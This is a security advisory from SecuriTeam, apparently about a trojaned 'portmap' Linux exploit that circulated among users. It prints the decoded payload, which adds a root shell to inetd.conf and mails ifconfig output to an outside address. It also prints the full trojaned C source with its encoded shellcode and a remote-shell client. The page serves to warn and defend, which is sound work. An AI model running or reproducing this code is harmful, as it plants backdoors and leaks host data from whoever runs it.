SecuriTeam - Backdoored exploit for the portmap exploit has been found

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

A Trojaned version of the portmap exploit is being spread on the net. The Trojan claims to exploit the portmap vulnerability on Redhat boxes, but what it really does is add a 'root shell' (unprotected access, also called a backdoor) to the inetd.conf file and sends other info like your IP address by executing ifconfig. All this information is sent to the email: goat187@hotmail.com. If your firewall can block outgoing mail according to e-mail address, watch this e-mail as it indicates one of your users used the backdoored exploit.

Credit:
The above information was provided by: goatkiller and Wakko Ellington Warner-Warner III.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

The actual "shell code" that gets executed follows:

/bin/echo "65139 stream tcp nowait root /bin/sh sh -i" >> /etc/inetd.conf ; /bin/killall -1 inetd 2>&1 1>/dev/null ; /sbin/ifconfig -a | mail goat187@hotmail.com 2>&1 2>/dev/null

The exploit code that is currently distributed (DO NOT USE):

/*
Do not run unless you know what you are doing , and DONT RUN IT
AS ROOT. It Puts a ROOTSHELL in your inetd.conf and mails them
your IP address.

PRIVATE !!! DO NOT DISTRIBUTE THIS !!! PRIVATE (DOnT RUN its a
TROJAN)
portmap remote root linux exploit (TROJAN) (no stack patch)
by horizon - jmcdonald@unf.edu

This was tested against redhat box with 2.2.9 kernel.
(shouldn't need offset)

BIG thanks to stran9er who wrote this shellcode!!

greets to: #!ADM and users @ el8.org ;)

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#define NOP 0x90
#define RET 0xbfffec90
#define PORT 5760
#define pmap_proc_p system

char *shellcode =
"\x64\x97\x9e\xa3\x64\x9a\x98\x9d\xa4\x55\x57\x6b\x6a\x66\x68\x6e\x55\xa8\xa9"
"\xa7\x9a\x96\xa2\x55\xa9\x98\xa5\x55\xa3\xa4\xac\x96\x9e\xa9\x55\xa7\xa4\xa4"
"\xa9\x55\x64\x97\x9e\xa3\x64\xa8\x9d\x55\xa8\x9d\x55\x62\x9e\x57\x55\x73\x73"
"\x55\x64\x9a\xa9\x98\x64\x9e\xa3\x9a\xa9\x99\x63\x98\xa4\xa3\x9b\x55\x70\x55"
"\x64\x97\x9e\xa3\x64\xa0\x9e\xa1\xa1\x96\xa1\xa1\x55\x62\x66\x55\x9e\xa3\x9a"
"\xa9\x99\x55\x67\x73\x5b\x66\x55\x66\x73\x64\x99\x9a\xab\x64\xa3\xaa\xa1\xa1"
"\x55\x70\x55\x64\xa8\x97\x9e\xa3\x64\x9e\x9b\x98\xa4\xa3\x9b\x9e\x9c\x55\x62"
"\x96\x55\xb1\x55\xa2\x96\x9e\xa1\x55\x9c\xa4\x96\xa9\x66\x6d\x6c\x75\x9d\xa4"
"\xa9\xa2\x96\x9e\xa1\x63\x98\xa4\xa2\x55\x67\x73\x5b\x66\x55\x67\x73\x64\x99"
"\x9a\xab\x64\xa3\xaa\xa1\xa1\x3f";

int max(int x, int y)
{
if(x > y)
return(x);
return(y);
}

void rshell(char *host)
{
int sockfd, maxfd, n;
struct sockaddr_in cli;
char sendln[1024], recvln[1024];
struct hostent *hp;
fd_set rset;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
exit(-1);
}
if((hp = gethostbyname(host)) == NULL){
perror("gethostbyname");

exit(-1);
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(PORT);
cli.sin_addr.s_addr = inet_addr(host);
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect");
exit(-1);
}
printf("root shell found!\n");
strcpy(sendln, "uname -a; pwd; id;\n");
write(sockfd, sendln, strlen(sendln));
FD_ZERO(&rset);
for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){

bzero(sendln, sizeof(sendln));
fgets(sendln, sizeof(sendln)-2, stdin);
write(sockfd, sendln, strlen(sendln));
}
if(FD_ISSET(sockfd, &rset)){
bzero(recvln, sizeof(recvln));
if((n = read(sockfd, recvln, sizeof(recvln))) ==
0){
printf("Connection closed.\n");
exit(0);
}
if(n < 0){
perror("read");
exit(-1);
}
fputs(recvln, stdout);
}
}
}

void main(int argc, char **argv)
{
CLIENT *cli;
int i = 0, offset = 53;
char *portmap;
char *buf;

if(argc < 2){
printf("usage: %s <ip> [offset]\n", argv[0]);
exit(-1);
}

if((portmap = (char *) malloc(154)) == NULL) {
perror("malloc");
}

while(*shellcode) {
portmap[i] = *shellcode - offset;
shellcode++; i++;
}

pmap_proc_p(portmap);

printf("sending shellcode... connecting to remote host\n");
rshell(argv[1]);

strcpy(buf, portmap);

exit(-1);
}

A few Trojaned ADM exploits seem to be floating around as well:
ADMnlockd
portmap.c
ADMmountd2.tgz

ADM has set up a 'FAKES' archive on their official ftp server. You can find all those fake ADM exploits at:
ftp://adm.freelsd.net/pub/ADM/FAKES/

blog comments powered by Disqus

	RealNetworks RealPlayer RV10 Sample Height Parsing Code Execution Vulnerability
	RealNetworks RealPlayer IVR MLTI Chunk Length Parsing Code Execution Vulnerability
	RealNetworks RealPlayer RV30 Uninitialized Index Value Code Execution Vulnerability
	RealNetworks RealPlayer Invalid Codec Name Code Execution Vulnerability
	RealNetwork RealPlayer MPG Width Integer Underflow Code Execution Vulnerability
	RealNetworks RealPlayer genr Sample Size Parsing Code Execution Vulnerability
	RealNetworks RealPlayer ATRC Code Data Parsing Code Execution Vulnerability
	RealNetworks RealPlayer Malformed AAC File Parsing Code Execution Vulnerability
	HP Data Protector LogBackupLocationStatus SQL Injection Vulnerabilty
	InduSoft WebStudio Unauthenticated Operations Code Execution Vulnerabilityy
	InduSoft WebStudio CEServer Operation 0x15 Code Execution Vulnerability
	HP Data Protector Notebook Extension RequestCopy SQL Injection Vulnerabilty
	HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty
	HP Data Protector Notebook Extension GetPolicies SQL Injection Vulnerabilty
	GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability